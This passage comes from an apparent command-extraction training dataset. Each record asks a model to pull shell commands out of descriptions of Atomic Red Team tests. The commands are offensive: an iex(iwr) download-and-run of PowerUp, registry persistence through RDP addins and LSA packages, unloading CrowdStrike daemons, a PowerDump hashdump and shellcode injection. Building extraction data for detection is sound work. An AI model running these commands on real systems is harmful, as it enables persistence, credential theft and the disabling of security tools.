-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To alter RDP behavior via Virtual Channels, you can use dedicated Addins implemented as DLLs, which execute automatically during an RDP session. These DLLs are loaded on the host system only after a successful connection is established. Run the following command to configure the registry: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\\Addins\\#{Subkey_Added}\" /v Name /t REG_SZ /d \"#{dll_inf}\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\\Addins\\\\#{Subkey_Added}\\\" /v Name /t REG_SZ /d \\\"#{dll_inf}\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system information will be displayed in four message boxes after executing the JScript file with this command: wscript \"#{jscript}\"\n",
    "output": "{\"command_list\": [\"wscript \\\"#{jscript}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Crowdstrike Falcon daemons falcond and userdaemon can be stopped on macOS with this command sequence: sudo launchctl unload #{falcond_plist}\nsudo launchctl unload #{userdaemon_plist}\n",
    "output": "{\"command_list\": [\"sudo launchctl unload #{falcond_plist}\\nsudo launchctl unload #{userdaemon_plist}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique creates persistence by installing a custom authentication package for LSA, executing Notepad.exe under lsass.exe after system restart, with the command:\nCopy-Item \"$PathToAtomicsFolder\\T1547.002\\bin\\package.dll\" C:\\Windows\\System32\\\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\\0package.dll\" /f\n",
    "output": "{\"command_list\": [\"Copy-Item \\\"$PathToAtomicsFolder\\\\T1547.002\\\\bin\\\\package.dll\\\" C:\\\\Windows\\\\System32\\\\\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\" /v \\\"Authentication Packages\\\" /t REG_MULTI_SZ /d \\\"msv1_0\\\\0package.dll\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can determine remote login history for a user account by executing this command: [ \"$(uname)\" = 'FreeBSD' ] && cmd=\"lastlogin\" || cmd=\"lastlog\" \n$cmd > #{output_file}\ncat #{output_file}\n",
    "output": "{\"command_list\": [\"[ \\\"$(uname)\\\" = 'FreeBSD' ] && cmd=\\\"lastlogin\\\" || cmd=\\\"lastlog\\\" \\n$cmd > #{output_file}\\ncat #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This sequence creates, starts, and deletes a service running a custom command, with the following commands (note PowerShell may incorrectly report startup status): sc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc.exe start #{service_name}\nsc.exe delete #{service_name}",
    "output": "{\"command_list\": [\"sc.exe create #{service_name} binPath= \\\"#{executable_command}\\\"\\nsc.exe start #{service_name}\\nsc.exe delete #{service_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute shellcode locally in the current process using the undocumented NtQueueAPCThreadEx WinAPI, run the following command: $PathToAtomicsFolder\\T1055.004\\bin\\x64\\NtQueueApcThreadEx.exe -debug",
    "output": "{\"command_list\": [\"$PathToAtomicsFolder\\\\T1055.004\\\\bin\\\\x64\\\\NtQueueApcThreadEx.exe -debug\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform a hashdump by extracting hashes from the registry, use the following command:\nWrite-Host \"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\" -fore green\nImport-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerDump.ps1\"\nInvoke-PowerDump\"",
    "output": "{\"command_list\": [\"Write-Host \\\"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\\\" -fore green\\nImport-Module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PowerDump.ps1\\\"\\nInvoke-PowerDump\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire 